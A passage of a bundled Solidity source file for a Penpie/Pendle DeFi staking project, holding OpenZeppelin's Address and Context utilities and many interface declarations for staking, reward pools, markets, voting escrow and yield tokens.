return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"contracts/interfaces/IBaseRewardPool.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IBaseRewardPool {\n function stakingDecimals() external view returns (uint256);\n\n function totalStaked() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function rewardPerToken(address token) external view returns (uint256);\n\n function rewardTokenInfos()\n external\n view\n returns\n (\n address[] memory bonusTokenAddresses,\n string[] memory bonusTokenSymbols\n );\n\n function earned(address account, address token)\n external\n view\n returns (uint256);\n\n function allEarned(address account)\n external\n view\n returns (uint256[] memory pendingBonusRewards);\n\n function queueNewRewards(uint256 _rewards, address token)\n external\n returns (bool);\n\n function getReward(address _account, address _receiver) external returns (bool);\n\n function getRewards(address _account, address _receiver, address[] memory _rewardTokens) external;\n\n function updateFor(address account) external;\n\n function updateRewardQueuer(address _rewardManager, bool _allowed) external;\n}"
},
"contracts/interfaces/IBribeRewardDistributor.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface IBribeRewardDistributor {\n struct Claimable {\n address token;\n uint256 amount;\n }\n\n struct Claim {\n address token;\n address account;\n uint256 amount;\n bytes32[] merkleProof;\n }\n\n function getClaimable(Claim[] calldata _claims) external view returns(Claimable[] memory);\n\n function claim(Claim[] calldata _claims) external;\n}"
},
"contracts/interfaces/IConvertor.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IConvertor {\n function convert(address _for, uint256 _amount, uint256 _mode) external;\n\n function convertFor(\n uint256 _amountIn,\n uint256 _convertRatio,\n uint256 _minRec,\n address _for,\n uint256 _mode\n ) external;\n\n function smartConvertFor(uint256 _amountIn, uint256 _mode, address _for) external returns (uint256 obtainedmWomAmount);\n\n function mPendleSV() external returns (address);\n\n function mPendleConvertor() external returns (address);\n}"
},
"contracts/interfaces/IETHZapper.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IETHZapper {\n function swapExactTokensToETH(\n address tokenIn,\n uint tokenAmountIn,\n uint256 _amountOutMin,\n address amountReciever\n ) external;\n}\n"
},
"contracts/interfaces/IMasterPenpie.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity =0.8.19;\nimport { IERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\nimport \"./IBribeRewardDistributor.sol\";\n\ninterface IMasterPenpie {\n function poolLength() external view returns (uint256);\n\n function setPoolManagerStatus(address _address, bool _bool) external;\n\n function add(uint256 _allocPoint, address _stakingTokenToken, address _receiptToken, address _rewarder) external;\n\n function set(address _stakingToken, uint256 _allocPoint, address _helper,\n address _rewarder, bool _helperNeedsHarvest) external;\n\n function createRewarder(address _stakingTokenToken, address mainRewardToken) external\n returns (address);\n\n // View function to see pending GMPs on frontend.\n function getPoolInfo(address token) external view\n returns (\n uint256 emission,\n uint256 allocpoint,\n uint256 sizeOfPool,\n uint256 totalPoint\n );\n\n function pendingTokens(address _stakingToken, address _user, address token) external view\n returns (\n uint256 _pendingGMP,\n address _bonusTokenAddress,\n string memory _bonusTokenSymbol,\n uint256 _pendingBonusToken\n );\n \n function allPendingTokensWithBribe(\n address _stakingToken,\n address _user,\n IBribeRewardDistributor.Claim[] calldata _proof\n )\n external\n view\n returns (\n uint256 pendingPenpie,\n address[] memory bonusTokenAddresses,\n string[] memory bonusTokenSymbols,\n uint256[] memory pendingBonusRewards\n );\n\n function allPendingTokens(address _stakingToken, address _user) external view\n returns (\n uint256 pendingPenpie,\n address[] memory bonusTokenAddresses,\n string[] memory bonusTokenSymbols,\n uint256[] memory pendingBonusRewards\n );\n\n function massUpdatePools() external;\n\n function updatePool(address _stakingToken) external;\n\n function deposit(address _stakingToken, uint256 _amount) external;\n\n function depositFor(address _stakingToken, address _for, uint256 _amount) external;\n\n function withdraw(address _stakingToken, uint256 _amount) external;\n\n function beforeReceiptTokenTransfer(address _from, address _to, uint256 _amount) external;\n\n function afterReceiptTokenTransfer(address _from, address _to, uint256 _amount) external;\n\n function depositVlPenpieFor(uint256 _amount, address sender) external;\n\n function withdrawVlPenpieFor(uint256 _amount, address sender) external;\n\n function depositMPendleSVFor(uint256 _amount, address sender) external;\n\n function withdrawMPendleSVFor(uint256 _amount, address sender) external; \n\n function multiclaimFor(address[] calldata _stakingTokens, address[][] calldata _rewardTokens, address user_address) external;\n\n function multiclaimOnBehalf(address[] memory _stakingTokens, address[][] calldata _rewardTokens, address user_address, bool _isClaimPNP) external;\n\n function multiclaim(address[] calldata _stakingTokens) external;\n\n function emergencyWithdraw(address _stakingToken, address sender) external;\n\n function updateEmissionRate(uint256 _gmpPerSec) external;\n\n function stakingInfo(address _stakingToken, address _user)\n external\n view\n returns (uint256 depositAmount, uint256 availableAmount);\n \n function totalTokenStaked(address _stakingToken) external view returns (uint256);\n\n function getRewarder(address _stakingToken) external view returns (address rewarder);\n\n}"
},
"contracts/interfaces/IMintableERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)\n\npragma solidity =0.8.19;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IMintableERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount)\n external\n returns (bool);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender)\n external\n view\n returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function mint(address, uint256) external;\n function faucet(uint256) external;\n\n function burn(address, uint256) external;\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}"
},
"contracts/interfaces/IPendleStaking.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport \"../libraries/MarketApproxLib.sol\";\nimport \"../libraries/ActionBaseMintRedeem.sol\";\n\ninterface IPendleStaking {\n\n function WETH() external view returns (address);\n\n function convertPendle(uint256 amount, uint256[] calldata chainid) external payable returns (uint256);\n\n function vote(address[] calldata _pools, uint64[] calldata _weights) external;\n\n function depositMarket(address _market, address _for, address _from, uint256 _amount) external;\n\n function withdrawMarket(address _market, address _for, uint256 _amount) external;\n\n function harvestMarketReward(address _lpAddress, address _callerAddress, uint256 _minEthRecive) external;\n}\n"
},
"contracts/interfaces/IPenpieBribeManager.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IPenpieBribeManager {\n struct Pool {\n address _market;\n bool _active;\n uint256 _chainId;\n }\n\n function pools(uint256) external view returns(Pool memory);\n function marketToPid(address _market) external view returns(uint256);\n function exactCurrentEpoch() external view returns(uint256);\n function getEpochEndTime(uint256 _epoch) external view returns(uint256 endTime);\n function addBribeERC20(uint256 _batch, uint256 _pid, address _token, uint256 _amount) external;\n function addBribeNative(uint256 _batch, uint256 _pid) external payable;\n function getPoolLength() external view returns(uint256);\n}"
},
"contracts/interfaces/ISmartPendleConvert.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\ninterface ISmartPendleConvert {\n \n function smartConvert(uint256 _amountIn, uint256 _mode) external returns (uint256);\n\n}\n"
},
"contracts/interfaces/IWETH.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\ninterface IWETH is IERC20 {\n event Deposit(address indexed dst, uint256 wad);\n event Withdrawal(address indexed src, uint256 wad);\n\n function deposit() external payable;\n\n function withdraw(uint256 wad) external;\n}"
},
"contracts/interfaces/pendle/IPBulkSeller.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"../../libraries/BulkSellerMathCore.sol\";\n\ninterface IPBulkSeller {\n event SwapExactTokenForSy(address receiver, uint256 netTokenIn, uint256 netSyOut);\n event SwapExactSyForToken(address receiver, uint256 netSyIn, uint256 netTokenOut);\n event RateUpdated(\n uint256 newRateTokenToSy,\n uint256 newRateSyToToken,\n uint256 oldRateTokenToSy,\n uint256 oldRateSyToToken\n );\n event ReBalanceTokenToSy(\n uint256 netTokenDeposit,\n uint256 netSyFromToken,\n uint256 newTokenProp,\n uint256 oldTokenProp\n );\n event ReBalanceSyToToken(\n uint256 netSyRedeem,\n uint256 netTokenFromSy,\n uint256 newTokenProp,\n uint256 oldTokenProp\n );\n event ReserveUpdated(uint256 totalToken, uint256 totalSy);\n event FeeRateUpdated(uint256 newFeeRate, uint256 oldFeeRate);\n\n function swapExactTokenForSy(\n address receiver,\n uint256 netTokenIn,\n uint256 minSyOut\n ) external payable returns (uint256 netSyOut);\n\n function swapExactSyForToken(\n address receiver,\n uint256 exactSyIn,\n uint256 minTokenOut,\n bool swapFromInternalBalance\n ) external returns (uint256 netTokenOut);\n\n function SY() external view returns (address);\n\n function token() external view returns (address);\n\n function readState() external view returns (BulkSellerState memory);\n}\n"
},
"contracts/interfaces/pendle/IPendleMarket.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"./IPPrincipalToken.sol\";\nimport \"./IStandardizedYield.sol\";\nimport \"./IPYieldToken.sol\";\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\n\n\ninterface IPendleMarket is IERC20Metadata {\n\n function readTokens() external view returns (\n IStandardizedYield _SY,\n IPPrincipalToken _PT,\n IPYieldToken _YT\n );\n\n function rewardState(address _rewardToken) external view returns (\n uint128 index,\n uint128 lastBalance\n );\n\n function userReward(address token, address user) external view returns (\n uint128 index, uint128 accrued\n );\n\n function redeemRewards(address user) external returns (uint256[] memory);\n\n function getRewardTokens() external view returns (address[] memory);\n}"
},
"contracts/interfaces/pendle/IPendleMarketDepositHelper.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"../../libraries/MarketApproxLib.sol\";\nimport \"../../libraries/ActionBaseMintRedeem.sol\";\n\ninterface IPendleMarketDepositHelper {\n function totalStaked(address _market) external view returns (uint256);\n function balance(address _market, address _address) external view returns (uint256);\n function depositMarket(address _market, uint256 _amount) external;\n function depositMarketFor(address _market, address _for, uint256 _amount) external;\n function withdrawMarket(address _market, uint256 _amount) external;\n function withdrawMarketWithClaim(address _market, uint256 _amount, bool _doClaim) external;\n function harvest(address _market, uint256 _minEthToRecieve) external;\n function setPoolInfo(address poolAddress, address rewarder, bool isActive) external;\n function setOperator(address _address, bool _value) external;\n function setmasterPenpie(address _masterPenpie) external;\n}\n"
},
"contracts/interfaces/pendle/IPendleRouter.sol": {
"content": "// SPDX-License-Identifier:MIT\npragma solidity =0.8.19;\n\ninterface IPendleRouter {\n struct SwapData {\n SwapType swapType;\n address extRouter;\n bytes extCalldata;\n bool needScale;\n }\n\n enum SwapType {\n NONE,\n KYBERSWAP,\n ONE_INCH,\n // ETH_WETH not used in Aggregator\n ETH_WETH\n }\n\n struct ApproxParams {\n uint256 guessMin;\n uint256 guessMax;\n uint256 guessOffchain;\n uint256 maxIteration;\n uint256 eps;\n }\n\n struct TokenInput {\n // Token/Sy data\n address tokenIn;\n uint256 netTokenIn;\n address tokenMintSy;\n address bulk;\n // aggregator data\n address pendleSwap;\n SwapData swapData;\n }\n\n struct TokenOutput {\n // Token/Sy data\n address tokenOut;\n uint256 minTokenOut;\n address tokenRedeemSy;\n address bulk;\n // aggregator data\n address pendleSwap;\n SwapData swapData;\n }\n\n function addLiquiditySingleToken(\n address receiver,\n address market,\n uint256 minLpOut,\n ApproxParams calldata guessPtReceivedFromSy,\n TokenInput calldata input\n ) external payable returns (uint256 netLpOut, uint256 netSyFee);\n\n function redeemDueInterestAndRewards(\n address user,\n address[] calldata sys,\n address[] calldata yts,\n address[] calldata markets\n ) external;\n}\n"
},
"contracts/interfaces/pendle/IPFeeDistributorV2.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IPFeeDistributorV2 {\n event SetMerkleRootAndFund(bytes32 indexed merkleRoot, uint256 amountFunded);\n\n event Claimed(address indexed user, uint256 amountOut);\n\n event UpdateProtocolClaimable(address indexed user, uint256 sumTopUp);\n\n struct UpdateProtocolStruct {\n address user;\n bytes32[] proof;\n address[] pools;\n uint256[] topUps;\n }\n\n /**\n * @notice submit total ETH accrued & proof to claim the outstanding amount. Intended to be\n used by retail users\n */\n function claimRetail(\n address receiver,\n uint256 totalAccrued,\n bytes32[] calldata proof\n ) external returns (uint256 amountOut);\n\n /**\n * @notice Protocols that require the use of this function & feeData should contact the Pendle team.\n * @notice Protocols should NOT EVER use claimRetail. Using it will make getProtocolFeeData unreliable.\n */\n function claimProtocol(address receiver, address[] calldata pools)\n external\n returns (uint256 totalAmountOut, uint256[] memory amountsOut);\n\n /**\n * @notice returns the claimable fees per pool. Only available if the Pendle team has specifically\n set up the data\n */\n function getProtocolClaimables(address user, address[] calldata pools)\n external\n view\n returns (uint256[] memory claimables);\n\n function getProtocolTotalAccrued(address user) external view returns (uint256);\n}"
},
"contracts/interfaces/pendle/IPInterestManagerYT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IPInterestManagerYT {\n function userInterest(\n address user\n ) external view returns (uint128 lastPYIndex, uint128 accruedInterest);\n}\n"
},
"contracts/interfaces/pendle/IPPrincipalToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\n\ninterface IPPrincipalToken is IERC20Metadata {\n function burnByYT(address user, uint256 amount) external;\n\n function mintByYT(address user, uint256 amount) external;\n\n function initialize(address _YT) external;\n\n function SY() external view returns (address);\n\n function YT() external view returns (address);\n\n function factory() external view returns (address);\n\n function expiry() external view returns (uint256);\n\n function isExpired() external view returns (bool);\n}\n"
},
"contracts/interfaces/pendle/IPSwapAggregator.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nstruct SwapData {\n SwapType swapType;\n address extRouter;\n bytes extCalldata;\n bool needScale;\n}\n\nenum SwapType {\n NONE,\n KYBERSWAP,\n ONE_INCH,\n // ETH_WETH not used in Aggregator\n ETH_WETH\n}\n\ninterface IPSwapAggregator {\n function swap(address tokenIn, uint256 amountIn, SwapData calldata swapData) external payable;\n}\n"
},
"contracts/interfaces/pendle/IPVeToken.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity =0.8.19;\n\ninterface IPVeToken {\n // ============= USER INFO =============\n\n function balanceOf(address user) external view returns (uint128);\n\n function positionData(address user) external view returns (uint128 amount, uint128 expiry);\n\n // ============= META DATA =============\n\n function totalSupplyStored() external view returns (uint128);\n\n function totalSupplyCurrent() external returns (uint128);\n\n function totalSupplyAndBalanceCurrent(address user) external returns (uint128, uint128);\n}"
},
"contracts/interfaces/pendle/IPVoteController.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity =0.8.19;\n\nimport \"../../libraries/VeBalanceLib.sol\";\n\ninterface IPVoteController {\n struct UserPoolData {\n uint64 weight;\n VeBalance vote;\n }\n\n struct UserData {\n uint64 totalVotedWeight;\n mapping(address => UserPoolData) voteForPools;\n }\n\n function getUserData(\n address user,\n address[] calldata pools\n )\n external\n view\n returns (uint64 totalVotedWeight, UserPoolData[] memory voteForPools);\n\n function getUserPoolVote(\n address user,\n address pool\n ) external view returns (UserPoolData memory);\n\n function getAllActivePools() external view returns (address[] memory);\n\n function vote(address[] calldata pools, uint64[] calldata weights) external;\n\n function broadcastResults(uint64 chainId) external payable;\n}\n"
},
"contracts/interfaces/pendle/IPVotingEscrowMainchain.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity =0.8.19;\n\nimport \"./IPVeToken.sol\";\nimport \"../../libraries/VeBalanceLib.sol\";\nimport \"../../libraries/VeHistoryLib.sol\";\n\ninterface IPVotingEscrowMainchain is IPVeToken {\n event NewLockPosition(address indexed user, uint128 amount, uint128 expiry);\n\n event Withdraw(address indexed user, uint128 amount);\n\n event BroadcastTotalSupply(VeBalance newTotalSupply, uint256[] chainIds);\n\n event BroadcastUserPosition(address indexed user, uint256[] chainIds);\n\n // ============= ACTIONS =============\n\n function increaseLockPosition(\n uint128 additionalAmountToLock,\n uint128 expiry\n ) external returns (uint128);\n\n function increaseLockPositionAndBroadcast(\n uint128 additionalAmountToLock,\n uint128 newExpiry,\n uint256[] calldata chainIds\n ) external payable returns (uint128 newVeBalance);\n\n function withdraw() external returns (uint128);\n\n function totalSupplyAt(uint128 timestamp) external view returns (uint128);\n\n function getUserHistoryLength(address user) external view returns (uint256);\n\n function getUserHistoryAt(\n address user,\n uint256 index\n ) external view returns (Checkpoint memory);\n\n function broadcastUserPosition(address user, uint256[] calldata chainIds) external payable;\n \n function getBroadcastPositionFee(uint256[] calldata chainIds) external view returns (uint256 fee);\n\n}\n"
},
"contracts/interfaces/pendle/IPYieldToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"./IRewardManager.sol\";\nimport \"./IPInterestManagerYT.sol\";\n\ninterface IPYieldToken is IERC20Metadata, IRewardManager, IPInterestManagerYT {\n event NewInterestIndex(uint256 indexed newIndex);\n\n event Mint(\n address indexed caller,\n address indexed receiverPT,\n address indexed receiverYT,\n uint256 amountSyToMint,\n uint256 amountPYOut\n );\n\n event Burn(\n address indexed caller,\n address indexed receiver,\n uint256 amountPYToRedeem,\n uint256 amountSyOut\n );\n\n event RedeemRewards(address indexed user, uint256[] amountRewardsOut);\n\n event RedeemInterest(address indexed user, uint256 interestOut);\n\n event WithdrawFeeToTreasury(uint256[] amountRewardsOut, uint256 syOut);\n\n function mintPY(address receiverPT, address receiverYT) external returns (uint256 amountPYOut);\n\n function redeemPY(address receiver) external returns (uint256 amountSyOut);\n\n function redeemPYMulti(\n address[] calldata receivers,\n uint256[] calldata amountPYToRedeems\n ) external returns (uint256[] memory amountSyOuts);\n\n function redeemDueInterestAndRewards(\n address user,\n bool redeemInterest,\n bool redeemRewards\n ) external returns (uint256 interestOut, uint256[] memory rewardsOut);\n\n function rewardIndexesCurrent() external returns (uint256[] memory);\n\n function pyIndexCurrent() external returns (uint256);\n\n function pyIndexStored() external view returns (uint256);\n\n function getRewardTokens() external view returns (address[] memory);\n\n function SY() external view returns (address);\n\n function PT() external view returns (address);\n\n function factory() external view returns (address);\n\n function expiry() external view returns (uint256);\n\n function isExpired() external view returns (bool);\n\n function doCacheIndexSameBlock() external view returns (bool);\n}\n"
},
"contracts/interfaces/pendle/IRewardManager.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\n\ninterface IRewardManager {\n function userReward(\n address token,\n address user\n ) external view returns (uint128 index, uint128 accrued);\n}\n"
},
"contracts/interfaces/pendle/IStandardizedYield.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity =0.8.19;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\n\ninterface IStandardizedYield is IERC20Metadata {\n /// @dev Emitted when any base tokens is deposited to mint shares\n event Deposit(\n address indexed caller,\n address indexed receiver,\n address indexed tokenIn,\n uint256 amountDeposited,\n uint256 amountSyOut\n );\n\n /// @dev Emitted when any shares are redeemed for base tokens\n event Redeem(\n address indexed caller,\n address indexed receiver,\n address indexed tokenOut,\n uint256 amountSyToRedeem,\n uint256 amountTokenOut\n );\n\n /// @dev check `assetInfo()` for more information\n enum AssetType {\n TOKEN,\n LIQUIDITY\n }\n\n /// @dev Emitted when (`user`) claims their rewards\n event ClaimRewards(address indexed user, address[] rewardTokens, uint256[] rewardAmounts);\n\n /**\n * @notice mints an amount of shares by depositing a base token.\n * @param receiver shares recipient address\n * @param tokenIn address of the base tokens to mint shares\n * @param amountTokenToDeposit amount of base tokens to be transferred from (`msg.sender`)\n * @param minSharesOut reverts if amount of shares minted is lower than this\n * @return amountSharesOut amount of shares minted\n * @dev Emits a {Deposit} event\n *\n * Requirements:\n * - (`tokenIn`) must be a valid base token.\n */\n function deposit(\n address receiver,\n address tokenIn,\n uint256 amountTokenToDeposit,\n uint256 minSharesOut\n ) external payable returns (uint256 amountSharesOut);\n\n /**\n * @notice redeems an amount of base tokens by burning some shares\n * @param receiver recipient address\n * @param amountSharesToRedeem amount of shares to be burned\n * @param tokenOut address of the base token to be redeemed\n * @param minTokenOut reverts if amount of base token redeemed is lower than this\n * @param burnFromInternalBalance if true, burns from balance of `address(this)`, otherwise burns from `msg.sender`\n * @return amountTokenOut amount of base tokens redeemed\n * @dev Emits a {Redeem} event\n *\n * Requirements:\n * - (`tokenOut`) must be a valid base token.\n */\n function redeem(\n address receiver,\n uint256 amountSharesToRedeem,\n address tokenOut,\n uint256 minTokenOut,\n bool burnFromInternalBalance\n ) external returns (uint256 amountTokenOut);\n\n /**\n * @notice exchangeRate * syBalance / 1e18 must return the asset balance of the account\n * @notice vice-versa, if a user uses some amount of tokens equivalent to X asset, the amount of sy\n he can mint must be X * exchangeRate / 1e18\n * @dev SYUtils's assetToSy & syToAsset should be used instead of raw multiplication\n & division\n */\n function exchangeRate() external view returns (uint256 res);\n\n /**\n * @notice claims reward for (`user`)\n * @param user the user receiving their rewards\n * @return rewardAmounts an array of reward amounts in the same order as `getRewardTokens`\n * @dev\n * Emits a `ClaimRewards` event\n * See {getRewardTokens} for list of reward tokens\n */\n function claimRewards(address user) external returns (uint256[] memory rewardAmounts);\n\n /**\n * @notice get the amount of unclaimed rewards for (`user`)\n * @param user the user to check for\n * @return rewardAmounts an array of reward amounts in the same order as `getRewardTokens`\n */\n function accruedRewards(address user) external view returns (uint256[] memory rewardAmounts);\n\n function rewardIndexesCurrent() external returns (uint256[] memory indexes);\n\n function rewardIndexesStored() external view returns (uint256[] memory indexes);\n\n /**\n * @notice returns the list of reward token addresses\n */\n function getRewardTokens() external view returns (address[] memory);\n\n /**\n * @notice returns the address of the underlying yield token\n */\n function yieldToken() external view returns (address);\n\n /**\n * @notice returns all tokens that can mint this SY\n */\n function getTokensIn() external view returns (address[] memory res);\n\n /**\n * @notice returns all tokens that can be redeemed by this SY\n */\n function getTokensOut() external view returns (address[] memory res);\n\n function isValidTokenIn(address token) external view returns (bool);\n\n function isValidTokenOut(address token) external view returns (bool);\n\n function previewDeposit(\n address tokenIn,\n uint256 amountTokenToDeposit\n ) external view returns (uint256 amountSharesOut);\n\n function previewRedeem(\n address tokenOut,\n uint256 amountSharesToRedeem\n ) external view returns (uint256 amountTokenOut);\n\n 